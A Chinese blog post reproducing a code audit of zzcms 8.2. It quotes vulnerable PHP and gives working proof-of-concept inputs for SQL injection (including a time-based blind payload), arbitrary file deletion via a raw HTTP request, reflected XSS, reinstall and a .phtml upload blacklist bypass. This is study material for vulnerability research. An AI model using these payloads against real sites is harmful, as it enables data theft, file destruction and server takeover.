代码审计之zzcms2.8

前言:

本文并非原创,借鉴前辈文章,复现的漏洞审计

准备:

1.zzcms下载地址:
http://www.zzcms.net/download/zzcms8.2.zip
2.安装:
采用phpstudy安装即可,安装完成以后注册一个测试账号用来测试。

sql注入漏洞:

1.看博客说是user/del.php 文件存在sql注入,我们看该文件

1.
include("../inc/conn.php");
include("check.php");
//这里包含了2个文件,一个必定是sql数据库连接文件,一个必定是登录检查文件
...... //这里省略多处
while ($row=fetch_array($rs)){
    if ($row["editor"]<>$username){
    markit();
    
    showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
        //这里既然选择封你ip,必定会有获取你ip的函数或者方法,一般都会进行数据库查询。
        //一般讲,既然有过滤,get,post只能看看哪里有漏的,但是往往那种header头部会很少进行过滤,所以,这是自己以后审计的一个点
    }

del.php

2.我们继续看包含的2个文件

inc/conn.php
include(zzcmsroot."/inc/config.php");
include(zzcmsroot."/inc/wjt.php");
include(zzcmsroot."/inc/function.php");
include(zzcmsroot."/inc/zsclass.php");//分类招商在里面
include(zzcmsroot."/inc/stopsqlin.php");  //这里是sql注入全局过滤的文件
include(zzcmsroot."/inc/area.php");
if (opensite=='No') {
inc/conn.php
stopsqlin.php
check.php

注入便是在这里:

<?php
$usersf='';
$userid='';
if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
echo "<script>location.href='/user/login.php';</script>";
}else{
$username=nostr($_COOKIE["UserName"]);  //可以看到这里对cookie中username进行了过滤,单引号没办法闭合
//但是这里没有对password进行过滤,但是一看cookie,是md5加密的,所以这里是没办法注入的
    $rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='".$username."' and password='".$_COOKIE["PassWord"]."'");
    $row=num_rows($rs);
        if (!$row){
        //if ($_COOKIE["UserName"]!=$_SESSION["UserName"] || $_COOKIE["PassWord"]!=$_SESSION["PassWord"]){//当记登录状态时,只有COOKIE,没有SESSION
        echo "<script>location.href='/user/login.php';</script>";
        }else{
        $row=fetch_array($rs);
        $usersf=$row['usersf'];//left.php中用
        $userid=$row['id'];//top中用
        $lastlogintime=$row['lastlogintime'];
        $password=$_COOKIE["PassWord"];
                //这里直接用的是getip()来获取ip,并未进行任何过滤
        query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP
        if (strtotime(date("Y-m-d H:i:s"))-strtotime($lastlogintime)>3600*24){
        query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
        query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('".$username."','每天登录用户中心送积分','+".jf_login."','','".date('Y-m-d H:i:s')."')");
        }
        query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."' WHERE username='".$username."'");//更新最后登录时间
        }
}
?>

getip()

//这里的ip可以进行伪造
function getip(){ 
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
$ip = getenv("HTTP_CLIENT_IP"); 
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
$ip = getenv("HTTP_X_FORWARDED_FOR"); 
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
$ip = getenv("REMOTE_ADDR"); 
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
$ip = $_SERVER['REMOTE_ADDR']; 
else 
$ip = "unknown"; 
return($ip); 
} 

ok,确定有注入的情况下,我们直接用sqlmap跑就好。


image.png

image.png

3.数据库拼接注入
/user/del.php
数据库在拼接处存在注入,因为并未进行任何过滤,关键是这个参数可以直接从post提交获取

<?php
$pagename=trim($_POST["pagename"]);
$tablename=trim($_POST["tablename"]);   //这里只是做了多余的空格处理
$id="";
......//这里进行多次省略
if ($tablename=='zzcms_guestbook'){//saver

if (strpos($id,",")>0){ 
    $sql="select id,saver from ".$tablename." where id in (".$id.")";   //这里的参数并未进行过滤,所以存在注入
}else{  
    $sql="select id,saver from ".$tablename." where id ='$id'";
}

这里注入方式采用前辈的一个通用盲注,poc构照的话,和普通注入没什么差别,最后都是可以把后面无关的语句注释了

id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#
image.png

任意文件删除漏洞

这里就是没有进行任意过滤,导致任意删除文件

if ($action=="modify"){
query("update zzcms_textadv set adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0 where username='".$_COOKIE["UserName"]."'");
//为了防止一个用户通过修改广告词功能长期霸占一个位置当用户修改广告词时只更新其内容不更新时间。
//deloldimg
if ($oldimg<>$img){
        $f="../".$oldimg;    //这里的参数没有进行过滤,导致任意文件删除
        if (file_exists($f)){
        unlink($f);     
        }
}

poc:

POST /user/adv.php?action=modify HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: bdshare_firstime=1563181379327; UserName=test; PassWord=cc03e747a6afbbcbf8be7668acfebee5;PHPSESSID=9t8lu6pg80eeralf5umcatrqk5
DNT: 1
X-Forwarded-For: 123.123.123.123
Referer: https://www.baidu.com
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

adv=tettste&advlink=/zt/show.php?id=1&company=KÕ&img=test&oldimg=admin/123321.txt&Submit3=%E5%8F%91%E5%B8%83
image.png

网站重装漏洞

目录

这里是系统安装的相应步骤,一般我们在测试是否有重装漏洞的情况下,都会看网站是如何判断网站安装过的,目前基本都是判断一个install.lock文件是否存在
之前碰到的,基本都是安装就一个install.php,但是该cms把步骤都集成了几个文件中,在判断文件是否可以重装过程中,发现只有step_1.php存在判断文件install.lock的存在。


image.png
image.png
image.png

反射型xss

这里只能是用户登录后才可以触发,post请求的xss,可以看到这里并没有进行任何过滤。

<?php
//echo $_SERVER['REQUEST_URI'];
if (@$_POST["action"]=="search"){
echo "<script>location.href='".@$_POST["lb"]."/search.php?keyword=".@$_POST["keyword"]."'</script>";
}
if (isset($_REQUEST["skin"])){
$siteskin=$_REQUEST["skin"];
}else{
$siteskin=siteskin;


文件上传漏洞

核心文件是uploadimg.php
利用的是apache能解析phtml,从而绕过了黑名单的检测

if(!isset($_SESSION)){session_start();} 
set_time_limit(1800) ;
include("inc/config.php");
if (!isset($_COOKIE["UserName"]) && !isset($_SESSION["admin"])){  这里进行cookie是否是管理员,但是验证不是后,并未exit(); 而是弹框,意味着可以继续执行下面语句
session_write_close();
echo "<script>alert('登录后才能上传');window.close();</script>";    
}

......................
function upfile() {
//是否存在文件
if (!is_uploaded_file(@$this->fileName[tmp_name])){
   echo "<script>alert('请点击“浏览”,先选择您要上传的文件!\\n\\n支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>"; exit;
}
//检查文件大小
if ($this->max_file_size*1024 < $this->fileName["size"]){
   echo "<script>alert('文件大小超过了限制!最大只能上传 ".$this->max_file_size." K的文件');parent.window.close();</script>";exit;
}
//检查文件类型//这种通过在文件头加GIF89A,可骗过
if (!in_array($this->fileName["type"], $this->uptypes)) {
   echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>";exit;
}
//检查文件后缀
$hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//获取.后面的后缀,如可获取到.php.gif
//核心是这里的话可以上传phtml来绕过黑名单,apache是可以解析phtml的。
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";exit;
}
//创建文件目录
if (!file_exists($this->fdir)) {mkdir($this->fdir,0777,true);}
//上传文件
$tempName = $this->fileName["tmp_name"];
$fType = pathinfo($this->fileName["name"]);
$fType = $fType["extension"];

$newName =$this->fdir.$this->datu;
$sImgName =$this->fdir.str_replace('.','_small.',$this->datu); 

image.png

总结:

该文章是通过下面博客总结的审计,审计先从小cms开始,慢慢去提升自己,时间会证明一切。
[# Mochazz's blog
]

啊哈
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容

  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,690评论 0 9
  • 代码审计现状 随着开发人员的安全意识逐步提高,导致漏洞挖掘的难度逐年递增。而代码审计,逐渐出现在大家的视野里,方...
    苏打水一瓶阅读 1,246评论 0 4
  • 代码审计方面小东还不算很深入,所以去站长之家找了一个低版本号的XYCMS留言板程序来审计一下,往往这种低版本的适合...
    DYBOY阅读 1,531评论 0 0
  • 芙蓉满地开福区,雨花天心正飞舞。 望城坡上回首去,岳麓山下人风流。
    宁久微初心不改阅读 154评论 0 0